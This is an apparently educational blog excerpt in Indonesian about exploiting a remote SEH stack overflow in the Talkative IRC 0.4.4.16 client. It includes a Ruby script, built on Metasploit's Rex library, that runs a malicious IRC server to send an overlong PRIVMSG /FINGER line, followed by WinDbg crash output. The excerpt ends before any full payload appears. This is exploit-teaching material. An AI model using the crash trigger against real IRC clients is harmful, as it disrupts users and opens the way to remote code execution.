Talkative IRC 0.4.4.16 Remote Stack Overflow

Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link ini. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software ini. Dari milw0rm, kita tahu bahwa exploitasi talkative dengan memanfaatkan SEH overwrite. Crash dapat di-trigger dengan code berikut ini: #!/usr/bin/env ruby # lokasi library metasploit untuk digunakan (rex) msfbase = '/Applications/Metasploit/lib' $:.unshift(msfbase) require 'rex' # definisikan port untuk listen connection server_param = { 'LocalPort' => '6667' } # buat dan aktifkan server sock = Rex::Socket::TcpServer.create(server_param) chld = sock.accept chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network joxrn") chld.get_once # crash crash = ":" + "A" * 500 + " PRIVMSG " + "J" * 4 + " : /FINGER " + "K" * 8 + ".rn" chld.put(crash) sock.close Dengan menggunakan windbg kita dapat melihat posisi berikut ini ketika crash terjadi: (36c.4f4): Unknown exception - code 0eedfade (first chance) ModLoad: 662b0000 66308000 C:WINDOWSsystem32hnetcfg.dll ModLoad: 71a90000 71a98000 C:WINDOWSSystem32wshtcpip.dll (36c.7cc): Unknown exception - code 0eedfade (first chance) (36c.4f4): Unknown exception - code 0eedfade (first chance) (36c.4f4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40 eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** WARNING: Unable to verify checksum for C:Program FilesVulnTalkative IRCTalkative IRC.exe *** ERROR: Module load completed but symbols could not be loaded for C:Program FilesVulnTalkative IRCTalkative IRC.exe Talkative_IRC+0xd8260: 004d8260 8b40f0 mov eax,dword ptr [eax-10h] ds:0023:41414131=???????? Kita bisa lihat bahwa crash terjadi di lokasi 0x004d8260. Crash mengakibatkan terjadinya suatu exception (access violation), berikut ini operasi yang menyebabkan terjadinya crash, mov eax, dword ptr...
Read More of Talkative IRC 0.4.4.16 Remote Stack Overflow